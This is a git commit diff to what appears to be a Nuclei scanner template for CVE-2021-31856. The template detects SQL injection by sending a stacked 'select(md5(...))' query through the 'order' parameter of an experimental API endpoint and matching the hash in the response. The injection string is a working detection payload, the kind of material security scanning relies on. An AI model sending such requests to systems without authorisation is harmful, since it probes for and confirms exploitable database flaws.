Update CVE-2021-31856.yaml

patch-1
Ritik Chaddha 2022-06-30 09:04:25 +05:30 committed by GitHub
parent f20a3f5bd6
commit 793bc003a3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 2 deletions

View File

@ -18,17 +18,20 @@ info:
cwe-id: CWE-89
tags: sqli,cve,cve2021
variables:
num: "999999999"
requests:
- method: GET
path:
- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5('nuclei'))&page=0&page_size=0"
- "{{BaseURL}}/api/experimental/patternfile?order=id%3Bselect(md5({{num}}))&page=0&page_size=0"
matchers-condition: and
matchers:
- type: word
words:
- "709b38b27304df6257a86a60df742c4c"
- '{{md5({{num}})}}'
part: body
- type: status